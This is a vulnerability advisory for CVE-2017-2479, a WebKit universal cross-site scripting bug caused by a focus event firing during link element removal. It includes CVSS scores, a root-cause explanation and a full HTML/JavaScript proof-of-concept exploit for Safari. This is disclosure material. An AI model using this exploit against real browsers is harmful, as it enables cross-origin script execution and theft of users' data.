WebKit Focus Event UXSS

2017.04.10
Credit: lokihardt
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

WebKit: UXSS via a focus event and a link element CVE-2017-2479 This is somewhat similar to <a href="https://crbug.com/663476" title="" class="" rel="nofollow">https://crbug.com/663476</a>. Here's a snippet of Container::replaceAllChildren. while (RefPtr<Node> child = m_firstChild) { removeBetween(nullptr, child->nextSibling(), *child); notifyChildNodeRemoved(*this, *child); } If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not been loaded yet, the focusing will be delayed until the stylesheet gets loaded. The problem is that when the link element linked to the last pending stylesheet is removed from the parent, the notifyChildNodeRemoved function may end up to fire a focus event which runs arbitrary JavaScript code, which can make an iframe(|g| in the PoC) that has an attached frame but has no parent. Tested on Safari 10.0.3(12602.4.8). <html> <head> </head> <body> <script> let f = document.body.appendChild(document.createElement('iframe')); let inp = f.contentDocument.head.appendChild(document.createElement('input')); let link = inp.appendChild(document.createElement('link')); link.rel = 'stylesheet'; link.href = 'data:,aaaaazxczxczzxzcz'; let btn = f.contentDocument.body.appendChild(document.createElement('button')); btn.id = 'btn'; btn.onfocus = () => { btn.onfocus = null; window.g = inp.appendChild(document.createElement('iframe')); window.g.onload = () => { window.g.onload = null; window.g.src = 'javascript:alert(location)'; let xml = ` <svg xmlns="<a href="http://www.w3.org/2000/svg" title="" class="" rel="nofollow">http://www.w3.org/2000/svg</a>"> <script> document.documentElement.appendChild(parent.g); </sc` + `ript> <element a="1" a="2" /> </svg>`; let h = document.body.appendChild(document.createElement('iframe')); h.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'})); }; window.g.src = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a> }; f.contentWindow.location.hash = 'btn'; inp.textContent = ''; </script> </body> </html> This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. Found by: lokihardt


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